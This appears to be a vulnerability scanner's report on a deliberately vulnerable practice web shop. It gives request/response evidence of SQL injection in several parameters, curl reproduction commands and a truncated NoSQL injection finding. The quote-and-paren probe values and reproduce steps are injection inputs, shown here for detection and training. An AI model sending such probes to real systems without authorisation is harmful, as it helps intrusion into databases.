<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (2)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

stability HTTP 200 https://sekumart.sekuripy.hr/track.php?order=SK-1001

request

GET /track.php?order=SK-1001 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1423
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — track order</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (2)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/c

tampered value HTTP 200 https://sekumart.sekuripy.hr/track.php?order=SK-1001%27%22%28%29

request

GET /track.php?order=SK-1001%27%22%28%29 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 326
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"()'' at line 1 in /var/www/html/source/track_low.php:7
Stack trace:
#0 /var/www/html/source/track_low.php(7): mysqli_query(Object(mysqli), 'SELECT status F...')
#1 /var/www/html/track.php(2): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/track_low.php</b> on line <b>7</b><br />

tamper_literal HTTP 200 https://sekumart.sekuripy.hr/track.php?order=SK-1001'"()

request

GET /track.php?order=SK-1001'"() HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 511
Content-Type: text/html; charset=UTF-8
Date: Thu, 17 Sep 2026 09:58:30 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
X-Powered-By: PHP/8.2.30
X-Robots-Tag: noindex, nofollow, noarchive
Connection: close

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"()'' at line 1 in /var/www/html/source/track_low.php:7
Stack trace:
#0 /var/www/html/source/track_low.php(7): mysqli_query(Object(mysqli), 'SELECT status F...')
#1 /var/www/html/track.php(2): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/track_low.php</b> on line <b>7</b><br />

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/search.php form body · q confirmed · high confidence BL-009 critical

Evidence. Poisoning q with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')(%'' at line 1 in /var

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/search.php?q=sks%22%27%29%28
input: q in the form body
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')(%'' at line 1 in /var

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/search.php?q=sks HTTP 200 2860 bytes
tampered value GET https://sekumart.sekuripy.hr/search.php?q=sks%22%27%29%28 HTTP 200 510 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/search.php?q=sks'

GET /search.php?q=sks HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 3 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/search.php?q=sks

request

GET /search.php?q=sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1380
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

stability HTTP 200 https://sekumart.sekuripy.hr/search.php?q=sks

request

GET /search.php?q=sks HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1380
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — search</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (9)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalo

tampered value HTTP 200 https://sekumart.sekuripy.hr/search.php?q=sks%22%27%29%28

request

GET /search.php?q=sks%22%27%29%28 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 324
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')(%'' at line 1 in /var/www/html/source/search_low.php:7
Stack trace:
#0 /var/www/html/source/search_low.php(7): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/search.php(3): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/search_low.php</b> on line <b>7</b><br />

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/catalog.php query string · sort confirmed · high confidence BL-010 critical

Evidence. Poisoning sort with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')'("' at line 1 in

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/catalog.php?sort=id%29%27%28%22
input: sort in the query string
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')'("' at line 1 in

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/catalog.php?sort=id HTTP 200 6813 bytes
tampered value GET https://sekumart.sekuripy.hr/catalog.php?sort=id%29%27%28%22 HTTP 200 519 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?sort=id'

GET /catalog.php?sort=id HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 4 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/catalog.php?sort=id

request

GET /catalog.php?sort=id HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

stability HTTP 200 https://sekumart.sekuripy.hr/catalog.php?sort=id

request

GET /catalog.php?sort=id HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2092
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (10)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/cata

tampered value HTTP 200 https://sekumart.sekuripy.hr/catalog.php?sort=id%29%27%28%22

request

GET /catalog.php?sort=id%29%27%28%22 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 328
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:43 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')'("' at line 1 in /var/www/html/source/catalog_low.php:4
Stack trace:
#0 /var/www/html/source/catalog_low.php(4): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/catalog.php(2): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/catalog_low.php</b> on line <b>4</b><br />

tamper_literal HTTP 200 https://sekumart.sekuripy.hr/catalog.php?sort=id)'("

request

GET /catalog.php?sort=id)'(" HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 519
Content-Type: text/html; charset=UTF-8
Date: Thu, 17 Sep 2026 09:58:43 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
X-Powered-By: PHP/8.2.30
X-Robots-Tag: noindex, nofollow, noarchive
Connection: close

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')'("' at line 1 in /var/www/html/source/catalog_low.php:4
Stack trace:
#0 /var/www/html/source/catalog_low.php(4): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/catalog.php(2): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/catalog_low.php</b> on line <b>4</b><br />

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

POST/login.php form body · username confirmed · high confidence BL-011 critical

Evidence. Poisoning username with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'd445b78796c6da97badbeed

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: POST https://sekumart.sekuripy.hr/login.php
input: username in the form body
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'd445b78796c6da97badbeed

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value POST https://sekumart.sekuripy.hr/login.php HTTP 200 3080 bytes
```
username=sekuscan&password=SekuScan-Probe-1
```
tampered value POST https://sekumart.sekuripy.hr/login.php HTTP 200 535 bytes
```
username=sekuscan%22%28%29%27&password=SekuScan-Probe-1
```

stability

curl -i -X POST 'https://sekumart.sekuripy.hr/login.php' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'content-type: application/x-www-form-urlencoded' \
  --data-raw 'username=sekuscan&password=SekuScan-Probe-1'

POST /login.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded

username=sekuscan&password=SekuScan-Probe-1

Raw exchanges — 3 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/login.php

request

POST /login.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded

username=sekuscan&password=SekuScan-Probe-1

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1461
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — login</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog

stability HTTP 200 https://sekumart.sekuripy.hr/login.php

request

POST /login.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded

username=sekuscan&password=SekuScan-Probe-1

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1461
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — login</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog

tampered value HTTP 200 https://sekumart.sekuripy.hr/login.php

request

POST /login.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded

username=sekuscan%22%28%29%27&password=SekuScan-Probe-1

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 348
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'd445b78796c6da97badbeed119a8a41c'' at line 1 in /var/www/html/source/login_low.php:3
Stack trace:
#0 /var/www/html/source/login_low.php(3): mysqli_query(Object(mysqli), 'SELECT id,uname...')
#1 /var/www/html/login.php(5): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/login_low.php</b> on line <b>3</b><br />

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

critical NoSQL injection 1 affected location · /members.php

Fix, once, everywhereReject request parameters that arrive as objects or arrays where a scalar is expected, and cast to the expected type before the value reaches the query builder.

GET/members.php query string · user confirmed · high confidence BL-012 critical

Evidence. Beyond $eq/$ne, 1 further operator pair(s) (in_nin) move the result set the way their own comparison semantics predict - $in with a one-element array means exactly what the untouched value meant, and $nin is its complement. Meanwhile a plain array and an operator no engine implements both leave the response alone. The parameter's shape is being turned into a query document, so we choose the comparison the back-end performs.

